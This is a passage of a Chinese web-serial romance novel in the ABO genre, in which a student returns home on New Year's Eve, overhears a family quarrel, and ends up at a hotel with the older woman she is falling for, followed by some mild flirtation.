暴雨过后的气温又下降了一些。 在食堂吃过晚饭后,姜映和周青月一起去了图书馆学习,特意带了伞,但是没用上,晚上没有再下雨了。 图书馆待了四个小时,又一起走回寝室。 周青月说:“你今天是不是状态不好?” 她复习的时候经常摸鱼,拿起手机玩的时候,总是会看见坐在她对面的姜映在走神。 姜映走神。 她很难将这四个字联系在一起,最初她怀疑是自己看错了,特意多观察了几次,很快就得出结论,她没有看错。 姜映真的在走神,走得很厉害。 她有些好奇,到底是什么事能让向来淡然稳定的室友频频走神,认真想了一会儿。 心里咯噔一下,之前担心的事情不会真的发生了吧。 姜映网恋,被坏女人伤害了? “我的状态确实有些不好。”姜映声音中带着迷茫,如实道。 她自己能感觉到自己不对劲,掩饰不了的不对劲儿,即使她说没事,对方也不会信,不如坦诚。 周青月有些担心,欲言又止,思来想去,还是开口问了:“是因为上次那个人吗?” “嗯?”姜映一时间没反应过来她说的是谁。 周青月道:“就是你说事情比较复杂,目前不能和我多说,你叫姐姐那个人。” 她在图书馆楼道里听见姜映叫的那位姐姐。 姜映捏了捏掌心,抿着唇,没有应声。 周青月瞧着她的神情:“你……是不是很喜欢她?” 喜欢她? 姜映指尖猛得颤了几下,停住了脚步,心脏扑通扑通地跳动起来,怔愣地站在原定。 她喜欢程卿言? 作者有话说: 余简予:有人想和我谈恋爱吗 晚安,明天见 第54章 酒店 酒店 第五十四章 上次姜映明确说了这件事比较复杂,属于个人私事,不能告诉别人。 网恋也只是周青月的猜测,她无法确认,因此她不能直接明了地问这件事。 第一个问题没有得到回复,她想了想,又问道:“她是你现实中认识的人吗?” 合同里明确要求了她不能向别人透露她和程卿言相处的细节,姜映知道周青月是在关心她,可她不能和她细说。 不过这种基本的,完全不涉及程卿言私事的问题,可以回答。 姜映颤了颤眼睫,嗯了一声:“是现实中认识的人。” “见过面吗?” “见过。” 还好还好,不是网恋诈骗。 周青月稍稍放心了些,主动道:“你放心,我不会问你不想说的,等你想说了,只要有我能帮上忙的地方,你随时可以找我。” 她没谈过恋爱,但她看了那么多小说和电视剧,理论知识丰富,感情嘛,都到差不差,原理是一样的。 周青月知道姜映的性子坦诚,平时不会隐瞒什么,不愿意开口的,就是真不能说。 她不能打着关心的旗号,对她刨根问底,满足自己的好奇心。 姜映朝着感激地笑了一下:“谢谢。” “客气啥,我也没帮上忙。”周青月说。 姜映每天监督她学习,带着她整理期末复习表,她才能这么有条理,高效地复习期末考的内容,她都没说谢谢,姜映更不该给她说谢谢了。 夜里寒风刺骨,几个小时前还下了一场暴雨,她们站在路上说话这一小会儿,脸都冻麻了。 周青打了个寒颤,姜映见状,不再傻站着了,跨步一起走回寝室。 路上的人不多,冷风呼呼地吹。 姜映身体素质很好,冬天也像小暖壶,浑身很热热乎,此刻心里又有事,思绪混乱,更加感觉不到冷。 ——你是不是很喜欢她啊 周青月无意间的一句话,在她心里荡起了千层浪,让她本就凌乱的思绪变得更加凌乱,如同一团麻线混在了一起,找不到头,找不到尾,完全理不清。 程卿言不可能喜欢她。 那她可能喜欢程卿言吗? 她的情绪那么淡,除了对生命,对活着有较强的执念,她会喜欢上别人? 没有经历过这些事,姜映对此感到迷茫。 “青月,”片刻后姜映开口道,“你知道喜欢一个人是什么感觉吗?” 终于有用得上她的地方了?! 周青月正经点头:“应该知道。” “你可以说说吗?” “喜欢一个人啊,就是会心疼她,经常想她,想见她,无论做什么事情都会想起她,即使她在自己面前,还是觉得不够多,依旧会想” “想牵她的手,想和她拥抱,想吻她,想和她做|爱,会因为她变得不像自己,会对她产生无数的欲望。” 姜映静静听着,周青月所说的这些状态,有一部分出现在她身上,但还有一部分没有,她有些难为情地开口道:“喜欢一个人,一定会对她产生欲望,想和她…嗯…做,做,爱吗?” “肯定啊,对喜欢的人产生欲望是很正常的事,无论多么寡淡的人,或多或少都有这种念头吧,即使不做,那也会有想亲吻想拥抱的想法。” “如果这些都没有呢?” “可能就不是爱情,说不准是亲情,友情,”周青月挠了挠头,“也有可能只是对那个人感兴趣,很欣赏那个人,但还没都喜欢的地步。” 姜映若有所思,嗯了一声。 周青月:“不过这些是我的理论经验,你知道的,我也没谈过恋爱,更细节的事情我就不知道了,你想知道的话,我可以帮忙问问我谈过恋爱的朋友。” 姜映不想麻烦那么多人,拒绝道:“不用了。” 周青月也不勉强,点了点头,她只是解答,很有分寸地没问她为什么要问这些。 到了寝室。 姜映洗漱完,不打算像往常那样坐下来再学习一会儿,抬头问道:“我关灯了?” 已经在床上躺着的周青月嗯了一声:“你关吧,林溪她在群里发消息了,她今晚不回寝室。” 姜映应了声好,关了灯,靠着手机的屏幕光爬上了床。 盖好被子,躺着。 睡不着。 坐起来拿起了手机,建了一份word文档,既然想不明白,那就写下来分析,逐字逐句地分析。 近期她想见女人是事实,学习时走神想女人是事实,可当女人坐在自己对面时,她不是更想,不是觉得不够,她是觉得那样就很好,很安稳了,她对此很满足,她能彻彻底底静下心来去做别的事。 除了那日她做的混账梦,她对程卿言好像真的没有欲望,她喜欢女人牵她的手,她也会回味女人对她肢体上的触碰,但也止步于此,她没有任何肢体上的,想更近一步的想法。 更没有想对女人做那种事的念头。 她算喜欢她吗? 姜映的分析写了几千字,几乎总结了她和程卿言所以的相处细节,写完后她又细细看了几遍,依旧无法得到确切的答案。 好像有些喜欢,又不太像喜欢。 姜映活了二十年,事事讲求科学严谨,不喜欢含糊,喜欢用逻辑来分析问题。 就像她全心全意对某个人好,也是因为那人对她好,她是出于感激和礼貌,而不是她有多喜欢那个人。 从记事起,她的情感很淡,很少有情绪起伏,一直用着这种方式生活。 想不通的事,就找规律,按照现有的理论分析,得出个所以然,直到解决为止。 她对程卿言越是在意,她就会越严谨,思考分析也会更加的多。 可是她这种用了很多年,已经刻进骨子的方式,在面对程卿言时好像彻底失了效。 整夜的时间很快就流逝了。 姜映差点熬了通宵,五点过那会儿,她实在撑不住了,趴在床上,上一秒还在迷茫困惑地打字,下一秒便合上了眼睫,睡了过去。 片刻后放在枕上的手机屏幕暗了下去,光源消失,黑暗笼罩。 * 睡姿不好,严重落了枕。 后果就是接下来几天姜映脖子有些疼,如果不是她身体恢复能力较强,换成是别人,肯定会歪几天脖子。 几天里,她也在想她对程卿言到底是什么心思,也在继续分析,既觉得喜欢,又感觉不太像,反复摇摆中。 因为心里有事,她无法理清这些事,不够光明磊落,姜映也不好意思联系女人。 她拍了好看的照片,有了想说的话,在点进微信,已经输入了消息,准备发送的前一秒,她会克制住,删掉打出来的文字,退出去。 但也不是每次都能克制住,或多或少发了几条。 除此之外,她们没有别的联系了。 像是有着莫名的默契,程卿言也很少给她发消息,发的比她还少。 这日上午,姜映坐在图书馆,看着电脑屏幕走神,意识到她已经快一个周没见到女人了。 她们约定的一个周见两次,她给女人提供两次服务的事,在这几天里谁也没有主动提出来。 在从前她该为此为感到开心,此刻姜映有些不安,莫名的不安,思索片刻,终究忍不住发了消息,主动问道:【姐姐,我今天下午有空,需要我来提供服务吗?】 一个小时后,她收到了程卿言的回复:【不用了】 姜映抿了抿唇,打字的速度很缓慢:【好的】 程卿言:【我最近工作很忙,我没有找你,你就不用来找我】 姜映:【哦】 程卿言:【我得工作了】 明显是要结束聊天的意思,姜映回复:【好的姐姐,你忙吧】 回了消息后,她握着手机静静坐了几分钟,苦恼地轻叹一口气,点进了购票软件,买了一张明天下午回云县的车票。 明天是今年的最后一天,她下午有一节课,课上完之后就能离校了,开始放元旦。 碚城大学多数学生在元旦假期都不会回家,即将期末,会留校复习期末考的内容,但她若是不回去,之后的寒假她得去研究院实习,应该没空了,所以她得回去一趟,回去陪她妈妈张芸跨年。 不过她没告诉张芸她要回去,不想张芸特意去车站接她,特意为她多做几道菜,不想她为她操劳。 翌日阴天。 天气预报上显示晚上气温会骤降,有可能下雨。 姜映回云县不会待整个假期,最迟后天就会回来。 不想带很多衣物,因此她下课之后回了趟寝室,洗了澡换上干净的衣服,只带一套换洗的内衣裤回去就行了。 张芸在云县居住的房子面积很小,五十多平,只有两间卧室。 姜映来碚城上大学时,就把她要留下的书籍搬到了碚城大学附近的房子里,她的衣服也不多,全带来了学校。 其余不重要的东西,在给柳希未重新装修房间的时候,经过她的同意,已经全部丢掉了,因此云县的家里已经没有她的东西了。 她在收拾时,周青月哭丧着脸说:“我舍不得你,你回去了,我这几天就没复习的动力了。” 这几天假期对期末考至关重要,她不想前功尽弃。 姜映说:“你可以和林溪一起去图书馆,她监督你也是一样的。” “溪溪说她今天晚上也要离校,她有事情要做,假期结束才回来,”周青月看着她,拉住她的衣角,“我能不能和你一起回家啊?” 姜映想了想,真诚地给她解释:“可以是可以,但是我家很小,你去了可能住不下,晚上得住酒店,如果你真想去,我陪你住酒店也可的。” 哎呀。 人家回家和家人团聚,周青月哪里好意思麻烦她陪她出去住酒店,立马道:“我就随便说说,没有真的要去。” 姜映嗯了一声,没有劝她:“我会在群里提醒你复习的,你别担心,按照我和林溪给你列出的计划表来复习,期末考不会出问题的。” 周青月脑子很灵光,不然当初考高也考不进碚大,只是有一点点懒,平时没将心思放在学习上,她点头:“我会努力的!” “那我走了。” “好,路上注意安全。” “知道了。” 姜映每年回云县的次数不是特别多,但也不至于找不到路,出现安全问题。 坐地铁去了客车站,来早了一些,离发车时间还有半个多小时,上车找到她的座位坐下,书包里的东西不多,里面放了电脑,因此她没有把包放在行李架上,她抱在了怀里。 客车不是很新,有一浓浓的皮革混杂着汽油的味道,车窗也不清晰,覆着一些灰尘。 姜映静静坐着,透露车窗看向外面的光景,一片模糊。 能看见,但看不清。 她拿出纸巾擦了擦车窗,发现灰尘全都是覆在外面的,无论里面怎么擦,毫无作用,依旧模糊。 姜映神色迷茫地颤了颤眼睫,在车启动时,她合上了眼睛。 两个多小时的车程。 到云县那会儿六点出头,天已经黑透了。 姜映上了公交,在云县二中站下了车,顺路买了些柳希未爱吃的应季水果,进了小区后碰见了一些认识的邻居,笑得很慈祥,给她打招呼。 姜映一路上都在回应她们的问话,几分钟后才到了家门口,门没关严实,听见里面热闹的说话声,她抬手轻轻敲了几下门,才跨步走了进去。 柳希未最先看见她,很高兴地跑过来:“姐!” 姜映朝她笑了笑:“给你买的水果。” “谢谢姐,我先拿去放好。”水果有些重,柳希未一手提一袋,拿到客厅的茶几上放着。 客厅还坐着两位头发花白的老太太,姜映认识她们,是柳絮原的双亲,她也得跟着柳希未叫她们奶奶。 礼貌打过招呼,她从柜子里拿出一双一次性拖鞋,穿着走了进去。 厨房是关着门的,柳絮原和张芸在里面做饭,噪音有些大,没有听见外面的动静。 柳希未放下水果后,跑去叫她们:“妈妈妈咪,姐回来。” 张芸有些惊喜,拿着锅铲走出来,笑着道:“怎么突然回来了,也不提前说一声。” 姜映说:“明天是元旦,回来看看你们。” 张芸:“那你快坐着休息会儿,等着开饭了。” “我不累,在车上坐着也是休息,”姜映走到厨房门口,给柳絮原打了招呼,又问道,“有需要我帮忙的?” “不用了,我和你柳阿姨已经弄得差不多了。”张芸道。 柳絮原笑着看着她,接话:“做啤酒鸭的啤酒只剩半瓶了,可能不够,要不小姜你下楼去买一瓶?” 姜映应了声好:“要哪个牌子的?” “一般就可以了,你看着买吧,”张芸道,“玄关那里放了张学校发的超市购物卡,你记得拿去超市买。” 姜映嗯了一声,走到玄关处换鞋,柳希未和她一起下楼,但不是去买啤酒,而是要去一趟隔壁栋楼的同学家拿卷子。 姜映没有拿购物卡,用自己的钱买的啤酒。 因此不用出小区走远一些去超市,在小区里的便利店就买好了。 她腿长,步子迈得大,来回不到两分钟,重新走到了门口,门依旧是掩着的,没有关紧,抬手打算推门进去时,听见了里面的争吵声。 “姜映她回来怎么都不说一声,突然就跑回来,这像话吗。” “你在阴阳怪气什么,这里是她家,我是她妈,什么叫突然回来,你说把话说清楚。” “我能有什么意思,我又没有叫她别回来,但她能不能提前说一声,前几年元旦她都没有回来,今年突然跑回来,家里住得下吗,我妈她们年纪这么大了,一年也来不了几天,难道让她们出去住?” “怎么住不下,妈她们和希未一起睡,阿映睡沙发,或者你睡沙发,阿映和我一起睡不就行了,你在发抱怨什么,发什么牢骚,姜映哪招惹你了,你对她这么看不惯。” “我看不惯姜映?张芸你有良心吗,我这些年对她不好吗,我和你结婚的时候她还路都走不稳当,姜家不要她不管她,是我带她看病求医花了那么多钱,我有一次舍不得过吗,我抱怨过吗?” “你现在不是在抱怨?你哪里是不抱怨,你全是在心里抱怨,没说出来而已,而且你也只是带她去了两三次医院,大部分时候都是我妈带去的,几次就让你记一辈子?” “你别血口喷人,我对她的付出够多了!” “你别给自己脸上贴金,她上小学之前,一直是跟着我妈住的,是我妈照顾的。” “那是因为我和你工作都忙,都在上升期,没时间照顾她,才让你妈先带着,而且你也说了,上小学之后我们就把她接到身边住一起了,我有对她不好吗,即使希未出生了,我也没有区别对待她们。” “那是因为阿映从小就乖,什么都不需要我和你操心,她长成现在这样,不是我和你的功劳。” “我和你说不清,反正我为了这个家已经付出够多了。” “为了这个家付出够多了,你付出了,我就没付出吗,我是没工作需要你养还是怎么着你了,柳絮原当初你追求我的时候,我就给你说了阿映的情况,我让你考虑清楚再做决定,你当初是怎么说的,你说了些什么,你自己还记得吗?” “我怎么不记得,我说的话,我都做到了,是你一直对我不满。” “你倒是说说,我哪对你不满了?” “你心里就是觉得我不如那个姓姜……” “说啊,怎么不接着说下去,把你想说的话都说出来,你既然这么介意,是不是想离婚?” “我可没这样想。” “离什么婚啊,你们好好过,小姜现在也长大了,希未再做一次手术也康复了,苦日子都过去了,好端端的提什么离婚,”两位老年人见她们越吵架越厉害,连忙劝说道,“吵架的时候不要说些伤人伤己的气话,吵几句就行了,等会儿孩子们就要回来了,就别吵了,都退一步。” “又不是我想和她吵,我就说了几句,她就来找我的茬。” “我那是找茬吗,我是说出了你的心里话。” “我……” “好了,都别说了,你们两个都冷静一下。” …… 争吵声不断,劝和声夹杂在其中。 姜映抿着唇,缓缓收回了打算敲门的手,垂落在身侧,握着啤酒又下了楼,出了小区,在超市附近逛了一圈。 元旦前夜,即使天冷,路上行人很多,处处都在搞活动,街上很热闹,大部分年轻人都出来跨年了。 热闹随着姜映的步伐,从她眼眸中划过,没有留下痕迹,她一直很安静,眼眸中只有懊恼。 她回来的本意是想看看张芸,让张芸心情好一些,但她好像搞砸了。 不仅没能让张芸放松,反而引起了张芸和柳絮原之间的争吵,给她们带来了麻烦。 如果她没有突然回来,就不会有这些事情发生。 她已经很麻烦她们了。 她刚出生那两三年,除了检查出了腺体存在基因缺陷,医生诊断日后可能无法分泌信息素这个毛病,她的身体素质也很不好,总是感冒发烧,病恹恹的。 从前听她外婆说,她睡觉时偶尔还会暂停呼吸,最长那一次停了两三分钟才恢复过来。 老一辈的人都说她长不大,说她中了邪,活不了几年,所以那几年她花了很多钱,柳絮原和张芸的工资大部分都花在了她身上,但怎么也检查不出她到底是什么问题。 在大家都觉得她活不久时,她不仅活了下来,身体也越变越好,她的愈合能力,体能,注意力,精力,都优于普通人。 身体好了之后,张芸和柳絮原把她接到身边上小学,她七岁那年柳希未出生了,但柳希未有先天性心脏病,得做好几次手术,生命垂危,全家人得小心翼翼呵护着她。 张芸和柳絮原负担很重,总是在争吵,她看在眼里,告诉自己不能再给她们添任何麻烦。 她得安静,她得乖巧,她小心翼翼观察着大人的情绪。 夜风冰凉,吹得鼻尖泛起了红,姜映想了会儿以前的事,深呼一口气,看了眼时间,又走了回去,不能出来太久,张芸会担心她。 敲门进屋时,屋内已经恢复了平静,她也装作什么都不知道。 张芸接过她手里的啤酒,关心道:“是不是很冷啊,你鼻子都冻红了,早知道就让你在楼下买了。” 姜映摇头:“走起来不觉得冷。” “那就好,你洗手坐下吧,准备吃饭了。” “好的。” 姜映应了好,她洗手后也没坐下,主动地去端菜摆碗筷。 大家入座,和和气气地吃了一顿饭。 吃完饭姜映和柳希未一起洗了碗,收拾好厨房后她陪着张芸聊了会儿天,觉得时间差不多了,拿起了书包,她说:“我买啤酒的时候遇见了中学同学,她约我今晚跨年,我等会儿就不回来。” 很少说谎,经验不足,说这些话时心里其实是有些慌张的,担心张芸看出来。 好在柳希未打了岔,转移了大家的注意力:“跨年吗,我也和姐一起去。” 张芸道:“你姐和朋友一起玩,你个小孩跟着凑什么热闹。” “跨年得熬通宵,忘了你不能熬夜了吗?”柳絮原也说。 柳希未撇了撇嘴:“好吧。” 姜映摸了摸她的头:“等你身体好些了,我有机会就带你出去玩。” 柳希未嗯了一声,稍稍缓解了郁闷的心情。 “那我就出门了。”姜映对大家说。 张芸送她到门口:“注意安全,别熬太晚。” 姜映点头:“不用担心我,我已经这么大了。” 张芸笑了一下,看着她的背影消失在视野里,才关上了门。 姜映背着书包出了小区,站在公交站垂眸看着屏幕,准备在手机上定酒店。 今夜是跨年夜,云县离碚城很近,是较火的旅游县城,来这里跨年的人也很多,这会儿酒店根本不好定。 认真地翻了好一会儿,找不到恰当的,普通的酒店早就被定完了,已经没有房间。 只剩下几家价格较为昂贵的酒店还有些空房间,若是再晚一会儿,应该也会被定完。 姜映不想露宿街头,也不想去网吧,犹豫片刻,最终在其中选了一家最便宜的房型。 对她来说依旧有点贵。 她有些心疼。 等了一阵儿,挤上了公交,半个小时后在目的地附近的公交站下了车,如天气预报所说,夜里下起了小雨。 她带了雨伞,但她出门的时候忘了拿,放在玄关上了。 公交站距离酒店不是很远,雨也不大,只是毛毛雨,姜映背着书包小跑着,很快就到了酒店大堂。 她站在门口喘了几口气,走了进去,在前台取了房卡,坐电梯上楼。 进了房间,在安静环境里又想起了张芸和柳絮原的争吵,她内疚地呼了口气,从包里拿出电脑放在桌上,静了静心,准备看几篇报告再休息,快十二点那会儿,放在一旁的手机响了几声。 周青月在群里汇报了复习进度,还发消息问:【明天是新年的第一天呀,我能不能放半天假,不复习了,家人们觉得可以吗?】 姜映:【可以的】 林溪:【可以的】 周青月开心:【真的吗!!】 林溪:【晚上得补上】 姜映:【晚上得补上】 周青月叹气:【还得补上啊,明天晚上我肯定更想休息,早上还是不放了呜呜呜呜,你们这会儿在干什么?】 姜映:【在看报告】 林溪:【在回你消息】 看来大家离了校也没休息,周青月给自己打气:【那我也继续复习了】 姜映回了一句加油,要放下手机时,看着程卿言的微信头像愣了几秒,想发消息,又有些犹豫,不经意间指尖轻轻落到了女人的头像上点了几下。 界面上显示:你拍了拍橙小姐 姜映随即回神,有些慌张,拍一拍能撤回吗,还没找到如何撤回。 程卿言发来了消息:【?】 姜映给她解释:【对不起啊,我点错了】 程卿言:【嗯】 然后就没有然后了,姜映不知道发什么,女人也没有问她任何事情,她看着右上角的时间,还差二十多分钟凌晨,进入新的一年。 犹豫片刻她发了消息:【姐姐你睡了吗?】 程卿言:【还没有,你回家了?】 姜映:【嗯】 程卿言:【方便接视频吗?】 姜映眼睫颤动,怔愣地看了看这条消息,她还没反应过来,女人的视频已经打了过来。 心跳顿时快了一拍,手比脑子快,按了接通,女人的脸出现在了视屏里,姜映声音有些紧张,打招呼:“姐姐。” 程卿言嗯了一声,看了眼镜头里的女生,察觉到了不对劲儿:“你不是回家了吗?” 姜映脑子热热的,一时间没反应过来,嗯了一声。 程卿言看着她的背景:“可是你在酒店。” 姜映愣了一秒,有些不知道该怎么解释:“嗯…我…” 程卿言拧眉:“你在说谎。” 下一秒女人便挂断了视频。 姜映慌乱,快速点进对话框,打字解释,还没将其发过去。 程卿言又发来了消息,还有一张房卡的照片,和女生住的酒店是同一家:【1602,过来】 作者有话说: 明天一起睡酒店 晚安,明天见 第55章 教你 教你 第五十五章 同一家酒店,但是房型不同。 姜映定的是最便宜的标间,程卿言定的是最高档的房型。 这家酒店在云县只开了一家,屋内的家具上有显目的专属logo,很容易认出来。 姜映心脏砰砰砰地跳动着,看着女人发过来的房卡,既惊喜又茫然。 惊喜她和程卿言住在了一家酒店,对她而来是“巨款”的房费,瞬间变得很值了。 茫然程卿言为什么会在跨年夜出现在云县,不应该在碚城吗。 姜映脸热热的,深呼一口气,有些紧张,也有忐忑,握着手机出了房间,按电梯去了女人所在的楼层。 * 程卿言坐在沙发上,抬眸看了眼时间,距离她给女生发房号那会儿,已经过去五分钟了。 酒店一共十六层,五分钟,即使不坐电梯,从一楼爬楼梯上来,这会儿也该到了。 姜映怎么还没到? 不过她没催她,静静地等着。 程卿言端起杯子抿了口温水,寡淡无味,如果她的身体允许,她更想换成红酒。 已经许久没喝酒了,可她忘不了酒的味道,她的味蕾,她的意识,牢牢地记住了好酒刚入口时的感觉,在口腔里含了几息后的变化,以及咽下去后在嘴里留下的余韵。 越是不碰,这些感觉不仅不会消减,反而越来越清晰,一丝一缕在她体内絮绕着。 就像她已经快一个周没见姜映。 她不仅没有遗忘和她相处时的感觉,反而更加怀念,念想一旦产生,就无法褪去。 这个周她很少发消息联系姜映,甚至拒绝了姜映给她提供服务,给她补充信息素。 她没有说谎,忙是真的很忙,忙到每天晚上都在加班,但也不是说连发消息的时间都没有,快速见一面的时间都没有。 程卿言清楚自己在有意回避姜映。 她想让她清醒过来,想让她冷静。 她想知道,女生为什么对她有这么大的影响,大到让她无法直截了当地在她和事业之间选择事业,大到让她会因为一些小事产生嫉妒之情。 生气,吃醋,这些程卿言都能接受,她知晓她是个占有欲比较强的人。 但是嫉妒不一样。 嫉妒会影响她对事情的判断,让她变得情绪化。 她为什么会如此? 真的喜欢上姜映了? 可她们才认识多久,她怎么会在这么短的时间内喜欢上个小姑娘。 还是说她前段时间和姜映见得太频繁,才让她产生了喜欢的错觉。 程卿言不爱含糊行事,向来喜欢把控全局,很讨厌这些领她困惑的未知,她得冷静下来,理清楚她对姜映的态度。 在她最初的预估里,她以为她几天不见姜映,她能慢慢恢复正常,恢复理智。 恰好这周她的腺体也稳定,偶尔出现了轻微的波动,打了抑制剂也就缓过去了,所以她可以不见她。 可就在方才,在姜映给她发了消息,她瞧见时间快到零点,即将进入新的一年那瞬间,冷静了一周的情绪,又重新沸腾起来,在她体内翻涌着。 顿生出许多惆怅,如果这是她生命中的最后一年,那么这将是她和姜映可以一起度过的第一个跨年,也将是最后一个跨年。 这个念头产生时,她想见到她,很想很想。 如果这是喜欢,那她认了,她接受。 所有的理智不复存在,所有的冷静荡然无存,直接打了视频,在她接受她喜欢上她这个事实那一秒,alpha的面容出现在她视野里。 一股暖意瞬间涌上了心间,她这些天里的纠结,烦躁,彻底消失了。 程卿言本质上是个很果断的人,只要想清楚的事情,认定的事情,一般情况下她就不会再去纠结。 喜欢就喜欢。 肤浅就肤浅。 她接受。 她承认她喜欢姜映,接受她喜欢姜映。 听着alpha叫她姐姐,她眉梢轻扬,身心舒畅起来,有些想笑出声。 不过姜映在哪。 不是说回家看家人了吗,程卿言注意到了女生坐着的椅子上的图标,为什么会在酒店,和家里人吵架了? 程卿言有些担心,但她也没问,已经发现了她们在同一家酒店了,直接把房卡房号发了过去,坐在沙发上静静等着。 等待的第五分钟。 第六分钟。 第七分钟。 程卿言握着杯子的手顿了顿,眉心轻轻拧了拧,直接起身走到门口开门。 果然如她所想。 她双手环胸,挑了挑眉梢,瞧着蹲在门前的alpha,抬脚,轻轻用白皙的脚趾踢了踢她的膝盖,同时问道:“来了多久了?” 她想到了和女生第一次见面时的场景,也是在酒店,她打开门瞧见了蹲地上的姜映。 不过当时姜映迷迷糊糊的,信息素止不住地往外溢,她当场认为这人不正经,对她的态度也不好,狠狠地踢了她一脚。 这才过了多久,就舍不得踢这么重了。 踢坏了,她会心疼。 女人踢的很轻,但由于太突然,姜映吓到了,没有蹲稳,直接坐在了地板上。 “你碰瓷?”程卿言笑着睨了她一眼。 “啊,不是,”姜映慌慌张张,立马爬起来,“是我自己不小心摔的,和你没关系。” 程卿言问她:“摔疼了没?” 姜映摇头:“没有。” 程卿言上下打量她几眼,皱眉,小姑娘怎么搞的,头发乱糟糟,看起来有些湿,外套看起来也润润的,在配上女生无辜青涩,微微泛红的眼尾,看起来着实可怜。 再想到她跨年夜回了云县,却没有在家,而是深夜独自来了酒店。 心疼之意顿生。 她在心疼她。 程卿言认命地唉了一声,温柔主动地牵起她的手走进房内,关上门后,想了想问道:“和家里人吵架了?” 姜映抿了下唇,摇头:“没吵架。” “那你怎么来酒店了?” “家里来了人,但房间太少了住不下,我就来酒店了。” 按理说家里来了客人,一般都是请客人去住酒店,而不是主人家去住酒店。 事实应该不像女生说的那样。 程卿言看了看她,没多问。 应该不是什么好事,女生这会儿不想说就算了,以后有机会了再问也是一样的。 姜映捏了捏掌心,也问:“姐姐你为什么会在云县?” 程卿言挑眉:“你觉得呢?” 姜映:“我不知道。” 程卿言抬手抚了抚女生的脸颊,柔声道:“想你了,特意来找你。” 姜映眼睫颤动,心口酥酥麻麻,虽然她知道她这话肯定是在开玩笑,但她的脸依旧红了起来。 程卿言对她的反应很满意,指尖下落,摸了摸女生有些润的发尾:“你淋雨了?” 姜映嗯了一声:“公交站离酒店有一小段路,我淋了一会儿。” 雨不大,只湿了一点点,所以到酒店后没有管它。 程卿言指了指浴室:“去洗个澡。” 啊? 可是她下午才洗了澡,这会儿又要洗吗。 不过女人既然这样说了,姜映也没反对,她方才摔到了过道的地板上,确实有点脏,得洗一洗。 她哦了一声:“我的贴身衣物在我房间,我回我房间洗吧,洗干净了再上来找你。” “别下去了,”程卿言看着她道,“我有新的,我找来给你。” 十几秒后,她从箱子里拿出一条新的底裤,递了过去。 姜映垂眸,看着女人手中薄薄一条黑色的蕾丝边底裤,瞬间红了耳朵,不敢接手,快速移开眼,眼神闪躲:“我…我还是回我房间洗吧…” alpha没有穿过这种款式的底裤,平时穿的都是些纯棉的素色底裤。 程卿言:…… 这已经是她最朴素的底裤了,款式也挺好看,有什么不能穿的。 而且在害羞什么啊,又不是让她只穿一条底裤就出来,外面还要穿睡袍遮住。 她不理解。 但她觉得好玩,笑了一声,强势地拉起alpha的手,放到她手里,但说话的语气却柔得不像话,柔中还带来些矫揉造作的委屈,夹着声音道:“你是不是嫌弃我?” 天地良心,姜映怎么可能嫌弃她,立马道:“我不嫌弃。” “真的吗?”女人故作质疑。 姜映点头:“真的。” 程卿言说:“那你证明给我看。” 怎,怎么证明啊。 姜映拿着女人给她的烫手底裤,满脸通红地咬了咬唇,深呼一口气,转身走向浴室:“我这就去洗澡。” 边走边在心里告诉自己,只是一条底裤,穿上后又没人能看见,她可以的,她不能让女人伤心。 浴室门合上,传出淅淅沥沥的水声。 程卿言坐在沙发上听着这道水声,莫名觉得心安。 在陌生的县城,陌生的酒店,闻着熟悉的味道,感受着熟悉气息,她觉得很心安。 手机响了几声,她拿起来看了看,回了几条工作上的消息。 她来云县是处理城西项目拆迁的事,之前以为当日就能处理好,但事情有些棘手,一天处理不完,来来回回更耽搁时间,所以直接在这边住下了。 不过她回复消息时也没有很专心,分了一部分心神留意着浴室那边,几分钟后,在alpha轻手轻脚推门,从水雾朦胧的热气中走出来那秒,她放下手机看了过去。 洗过澡之后的alpha没有方才的狼狈可怜,满是胶原蛋白的脸颊粉粉嫩嫩,身材高挑纤细,穿着酒店提供的一次性睡袍,睡袍下露出了精致细腻的小腿。 女人挑眉,眼神锁定在她身上,上上下下地欣赏着。 姜映被她看得有些不自在,甚至有些紧张,差点同手同脚,捏着袖口走了过去,莫名羞涩扭捏:“我洗好了。” “看见了,”程卿言含笑看着她,瞥了眼alpha小腹那块:“穿着还舒服吗?” 姜映脸红,猜测:“舒服……” 她顾着紧张不自在去了,根本没精力感受舒不舒服这回事。 “真的吗,你不会没穿吧?” “穿了。” 程卿言:“让我看看?” “啊?”姜映如同受惊的鹿,惊慌地看着她。 给她看? 这不可以的。 “说着玩的,瞧你吓的,”程卿言嘴角上扬,扭开瓶盖,给她递了瓶水过去,“喝点。” 这人经常脸红发热,体内应该挺燥热,得多喝水补充水分。 姜映哦了一声,喝了几口后,看着她道:“要喝完吗?” 程卿言:“你渴吗?” “不渴。”姜映摇头。 程卿言:“那就别喝了。” 看着女生放下瓶子后,她接着道:“对了,你洗澡的时候我翻了箱子,发现新的那条内裤还在里面,给你那条我之前应该穿过几次。” 姜映瞳孔震惊,受到了惊吓,惊慌失措地看着她,脸颊瞬间通红,而那块贴在她私密处的布料,仿佛成了带刺的玫瑰,存在感极强的扎着她,让她浑身热乎乎地不自在。 “真,真的吗?” alpha声音都在颤抖,羞耻别扭。 程卿言嗯了一声:“真的。” 姜映一哆嗦,面色潮红,手足无措看着她。 怎么办? 马上脱下来吗,可她已经穿了,脱下来也改变不了穿过的事实,而且…… 她发现她好像不想脱,心里有道不要脸的声音在告诉她,别脱了,穿都穿了,不如一直穿下去。 她着急地有些想哭,为自己内心的想法感到震惊,她觉得她是变态,不知羞耻,怎么可以穿别人的底裤,她好可恶。 程卿言摸了摸她滚烫的脸,说:“又嫌弃我了对吗?” 姜映在嫌弃自己的变态想法,有些愧疚,不敢直视:“没有嫌弃你……” “那你这是怎么了?” “我…我…” “在兴奋激动?” 这两个词只是程卿言用来打趣她的,在她看来,alpha肯定只会紧张羞涩,可她不知道,她随口说的词,道破alpha内心的想法。 姜映指尖颤动,头皮发麻,好像是在兴奋激动…… 程卿言捏了捏她的耳朵:“好了,骗你的,你那条我没穿过,我出差带的贴身衣物都事新的,不会带旧的出门。” 不是穿过的啊…… 听了女人的解释,姜映咬了咬唇,哦了一声。 程卿言:??? 她怎么感觉她好像有点失落。 不可能,肯定是她多想了,应该是她坏心思多,坏眼看人坏,所以也觉得姜映坏坏的,是她的问题。 “生气了?”女人声音柔和地问她。 姜映摇头:“没有生气。” 脾气真好。 程卿言指尖绕了绕女生的发梢,好奇问:“你生气是什么样子?” 姜映认真想了想:“不知道。” “没有对人发过脾气?” “好像没有。”姜映觉得她不是脾气好,是她情绪淡的缘故,别人做什么都不会让她动怒。 程卿言问她:“如果我总是逗你,总是对你发脾气,你会不会觉得我讨厌?” 敢说讨厌,她就丢她出去。 